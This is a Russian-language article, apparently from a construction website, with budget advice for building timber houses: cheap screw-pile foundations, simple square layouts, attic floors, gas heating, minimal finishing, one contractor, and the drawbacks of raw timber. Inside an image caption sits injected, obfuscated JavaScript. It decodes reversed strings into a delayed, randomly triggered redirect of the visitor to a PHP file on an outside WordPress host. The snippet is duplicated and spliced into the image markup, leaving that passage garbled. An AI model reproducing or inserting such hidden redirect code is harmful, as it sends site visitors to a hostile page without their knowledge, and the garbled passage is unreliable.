Главная / Объекты / Дом

Недорогие дома из бруса – как сэкономить при строительстве

К сожалению, не всегда бюджет, выделенный на строительство дома, позволяет реализовать любой желаемый проект. Поэтому многие застройщики ломают голову над тем, как сэкономить нас строительстве. Отличным выходом из данной ситуации являются недорогие дома из бруса.

Недорогой дом, выполненный из бруса

Далее мы рассмотрим самые доступные типы домов из бруса и бревна, а также на чем можно сэкономить и на этого делать не стоит. Сразу следует отметить, что самые недорогие брусовые дома предназначены для сезонного проживания, т.е. это дачные строения. Для постоянного проживания их придется утеплить или использовать более дорогой брус, что повлечет за собой дополнительные затраты.

Как сэкономить при строительстве дома из бруса?

Многие уверены, что экономия при строительстве влечет за собой потерю в качестве, так как основывается на приобретении боле дешевых, низкокачественных материалов. Однако, в действительности это совсем не так.

Если вы решили построить недорогой дом из бруса, то сэкономить без потери в качестве можно следующим образом:

Использовать свойства домов из бруса, которые позволяют избежать лишних расходов.
Учитывать нюансы при выборе материалов.
Комплексно подходить к возведению дома из бруса.

Теперь детальней рассмотрим каждый пункт, за счет которого можно уменьшить расходы на строительство.

Экономия за счет специфики домов

Как известно, 30 процентов от стоимости всей постройки уходит на возведение фундамента. Однако, дома из бруса не нуждаются в массивных фундаментах. Поэтому расходы на него будут меньше.

В частности, экономия будет достигаться за счет:

Использования меньшего количества материала. К примеру, фундамент на монолитной плите обойдется значительно дороже, чем свайно-ростверковый.
Меньше трудозатрат;
Можно обойтись без тяжелой строительной техники.

Обратите внимание! Недорогие проекты домов из бруса обычно основываются на винтовом фундаменте. Он получается недорогим и быстро возводится.

Кроме того, стоимость фундамента во многом зависит от геологических условий грунта. Поэтому, при выборе участка для строения, следует поинтересоваться, не склонна ли почва к подвижности, на каком уровне находятся грунтовые воды и пр.

Совет! Строительство фундамента лучше проводить в теплое время года, так как зимой смета будет дороже. Это связано с тем, что все работы более затруднительны и трудоемки. Кроме того, при определенных температурах возведение фундамента вообще не желательно.

Кроме того, загородные дома, выполненные из бруса, не нуждаются во внутренней и наружной отделке, так как природная текстура дерева и так отлично смотрится. Что касается использования материалов, то цена на клееный брус будет выше, чем на обычный. Однако, он не требует дополнительных расходов на утеплитель.

Дом из бруса без внутренней отделки

Такому дому не понадобится мощное обогревательное оборудование, следовательно, и расходы на отопление будут меньше.

Также у клееного бруса имеется много других достоинств, среди которых:

Возможность проведения отделочных и инженерных работ сразу после постройки коробки, не дожидаясь усадки.
Рекордные сроки постройки.
Долговечность.

Поэтому экономить в данном случае не целесообразно.

Экономия за счет проектирования

Залогом оптимизации бюджета является грамотное проектирование загородного брусового дома. Естественно, проекты недорогих домов из бруса более простые, чем проекты дорогих строений, которые имеют сложную архитектуру и множество помещений. Отсюда можно сделать вывод, что проект должен быть как можно боле простым и включать в себя лишь необходимые помещения.

Дом, который по форме приближен к квадрату, обойдется дешевле, чем такой же по площади, но вытянутый или ступенчатый. Большие комнаты или объединение помещений обойдется дешевле, чем много комнат небольшой площади. Поэтому, если семья небольшая, не стоит делать много спальных помещений.

3D проект недорогого дома

Еще одним отличным решением является объединение холла, гостиной и столовой. С одной стороны – это современно, а с другой – отличная экономия средств.

Совет! Выгодным проектом являются недорогие дома из клееного бруса с мансардой. Современные материалы позволяют использовать мансардный этаж как жилой в любых климатических условиях, благодаря чему полезная площадь такого дома будет чуть ли не в два раза больше. При этом стоимость его не на много выше, чем обычного, одноэтажного строения.

Экономия на инженерных системах

Расходы могут быть снижены, если поблизости со стройплощадкой расположены магистральные коммуникации. Если канализация, водопровод и газ проходят в непосредственной близости, то не придется тратиться на создание автономных строительных систем, что позволяет уменьшить расходы на 30-40 процентов.

Клееный профилированный брус

Выбирая системы отопления, следует иметь ввиду, что газовое отопление будет стоить дешевле электрического. При этом первоначальное вложение в газовое оборудование будет выше, но уже спустя несколько лет использования системы, она себя окупит и станет экономить ваши деньги.

Экономия на отделке дома

Как уже было сказано выше, статью связанную с отделкой стен можно вообще исключить из сметы. Древесина является натуральным и привлекательным декором. Кроме того, технология производства клееного бруса обеспечивает строения практически идеальной, гладкой поверхностью.

Соответственно, не придется расходовать средства на выравнивание стен. Но, даже если вы решите для себя, что отделку необходимо выполнить, добиться экономии можно и в этом случае.

К примеру, можно использовать тонировочную пропитку и сделать оттенок пола, стен и потолка более насыщенным. При этом, использование лакокрасочных покрытий не требует таких затрат, как отделка специальными материалами.

Что касается выбора ЛКП, то современный рынок дает возможность выбрать оптимальные варианты из широкого ассортимента. К примеру, можно воспользоваться дорогими натуральными материалами экстра-класса либо заменить их аналогами, которые стоят дешевле.

На фото - дом из бруса покрытый тонировкой

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—dom-iz-brusa-pokrytyy-tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tonirovkoy-600×304.jpg» width=»600″ height=»304″ /> На фото — дом из бруса покрытый тонировкой

Если же принято решение выполнить основательную отделку, то можно использовать гипсокартон, который также имеет множество видов. Это недорогой и в то же время традиционный материал. Кроме того, строительные смеси, которые используются для нанесения на гипсокартон под покраску, побелку или оклеивание обоями, также доступны по цене.

Экономия при комплексном подходе

Зачастую при строительстве дома чтобы сэкономить, застройщики нанимают несколько бригад, каждая из которых выполняет определенный вид работ. Но, так как строительство является комплексом разных видов работ, которые выполняются в определенной последовательности, зачастую возникают проблемы в результате нарушения этой последовательности.

К примеру, одна бригада заливает фундамент и выполняет гидроизоляцию. После этого приходит другая бригада, которая проводит коммуникации и выясняется, что готовый фундамент необходимо просверлить и тем самым нарушить гидроизоляцию. В итоге возникают расходы и дополнительные проблемы.

Поэтому, не смотря на кажущуюся выгоду, целесообразней воспользоваться услугами одной бригады или компании, все действия которой будут согласованы. Конечно, выгодней всего выполнять строительство своими руками, однако, не имея определенного опыта, это также может привести к расходованию дополнительного материала и увеличению сроков строительства.

Обычный сырой брус

Использование дешевого материала

Существенно сэкономить затраты можно на использовании более дешевого материала. Так, вместо клееного, профилированного бруса, можно использовать обычный, сырой брус. Однако, целесообразность использования дешевого материала остается под вопросом.

Постройка дома из дешевого бруса будет сопровождаться следующими недостатками:

Дополнительные затраты на усадку, так как последующие два года дом будет усаживаться, вследствие чего появятся щели.
Брус необходимо покрывать антисептиком.
Возможно растрескивание и деформация материала, что отразиться на качестве постройки.
Процесс укладки балок более сложный, чем при возведении стен из профилированного клееного бруса, что увеличивает сроки строительства.
Естественная тепло- и влагоизоляция такого дома будет намного хуже.

Поэтому цельный сырой материал лучше использовать при строительстве дачных домов. В противном случае придется утеплять строение снаружи, что увеличит затраты и лишит его естественного вида. Чтобы свести к минимуму остальные недостатки такого строения, при его возведении строго должна соблюдаться инструкция.

Облицовка дома из бруса

Вывод

При грамотном подходе к строительству, экономия не отразится на качестве постройки. Учитывая целый ряд нюансов, которые мы рассмотрели, можно сэкономить существенную сумму денег.